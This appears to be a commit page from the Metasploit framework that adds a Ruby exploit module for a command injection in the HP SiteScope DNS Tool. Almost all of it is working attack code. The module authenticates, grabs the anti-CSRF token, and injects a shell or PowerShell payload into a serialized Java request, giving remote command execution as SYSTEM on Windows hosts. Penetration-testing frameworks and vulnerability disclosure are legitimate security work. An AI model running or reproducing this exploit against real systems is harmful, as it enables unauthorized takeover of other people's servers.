HP SiteScope vuln, R7-2015-17
On behalf of @l0gan, already reviewed once by @jvazquez-r7, reviewed again by me. For details, see: https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injectionbug/bundler_fix
parent
7a16f28969
commit
55ef6ebe91
|
@ -0,0 +1,196 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HP SiteScope DNS Tool Command Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a command injection vulnerability
|
||||||
|
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
|
||||||
|
and 11.30). The vulnerability exists in the DNS Tool allowing an
|
||||||
|
attacker to execute arbitrary commands in the context of the service. By
|
||||||
|
default, HP SiteScope installs and runs as SYSTEM in Windows and does
|
||||||
|
not require authentication. This vulnerability only exists on the
|
||||||
|
Windows version. The Linux version is unaffected.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
|
||||||
|
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
|
||||||
|
'Juan Vazquez' # help with MSF module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-to'],
|
||||||
|
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
|
||||||
|
{
|
||||||
|
'Arch' => [ARCH_X86_64, ARCH_X86]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'HP SiteScope 11.30 / CMD',
|
||||||
|
{
|
||||||
|
'Arch' => [ARCH_CMD]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 9 2015'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
|
||||||
|
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
initial_session = get_initial_session_id
|
||||||
|
redirect = authenticate(initial_session)
|
||||||
|
session = get_authenticated_session_id(initial_session, redirect)
|
||||||
|
csrf_token = get_csrf_token(session)
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing payload")
|
||||||
|
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_get' => {
|
||||||
|
'OWASP_CSRFTOKEN' => csrf_token
|
||||||
|
},
|
||||||
|
'cookie' => session,
|
||||||
|
'ctype' => 'application/octet- serializable object',
|
||||||
|
'data' => build_stream(random_mark)
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body
|
||||||
|
res_io = StringIO.new(res.body.to_s)
|
||||||
|
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
|
||||||
|
return if res_stream.nil?
|
||||||
|
show = false
|
||||||
|
res_stream.references.each do |ref|
|
||||||
|
if ref.class == Rex::Java::Serialization::Model::Utf && show
|
||||||
|
print_good(ref.contents)
|
||||||
|
next
|
||||||
|
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
|
||||||
|
show = true
|
||||||
|
next
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_initial_session_id
|
||||||
|
print_status("#{peer} - Retrieving an initial JSESSIONID...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
|
||||||
|
'method' => 'POST'
|
||||||
|
)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
|
||||||
|
session_id = res.get_cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
session_id
|
||||||
|
end
|
||||||
|
|
||||||
|
def authenticate(session_id)
|
||||||
|
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => session_id,
|
||||||
|
'vars_post' => {
|
||||||
|
'j_username' => datastore['SITE_SCOPE_USER'],
|
||||||
|
'j_password' => datastore['SITE_SCOPE_PASSWORD']
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 302
|
||||||
|
redirect = URI(res.headers['Location']).path
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
redirect
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_authenticated_session_id(session_id, redirect)
|
||||||
|
print_status("#{peer} - Following redirection to finish authentication...")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => redirect,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => session_id
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
|
||||||
|
auth_session = res.get_cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
auth_session
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_csrf_token(session)
|
||||||
|
print_status("#{peer} - Getting anti-CSRF token...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
|
||||||
|
'cookie' => session
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
|
||||||
|
csrf_token = $1
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
|
||||||
|
end
|
||||||
|
|
||||||
|
csrf_token
|
||||||
|
end
|
||||||
|
|
||||||
|
def build_stream(random_mark)
|
||||||
|
site = "google.com & echo #{random_mark} & "
|
||||||
|
if target.arch.include?('cmd')
|
||||||
|
command = payload.encoded
|
||||||
|
else
|
||||||
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||||
|
end
|
||||||
|
|
||||||
|
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
|
||||||
|
|
||||||
|
f = File.new(file, 'rb')
|
||||||
|
stream = Rex::Java::Serialization::Model::Stream.decode(f)
|
||||||
|
f.close
|
||||||
|
|
||||||
|
dns_param = stream.references[0x44]
|
||||||
|
dns_param.contents = site + command
|
||||||
|
dns_param.length = dns_param.contents.length
|
||||||
|
|
||||||
|
stream.encode
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue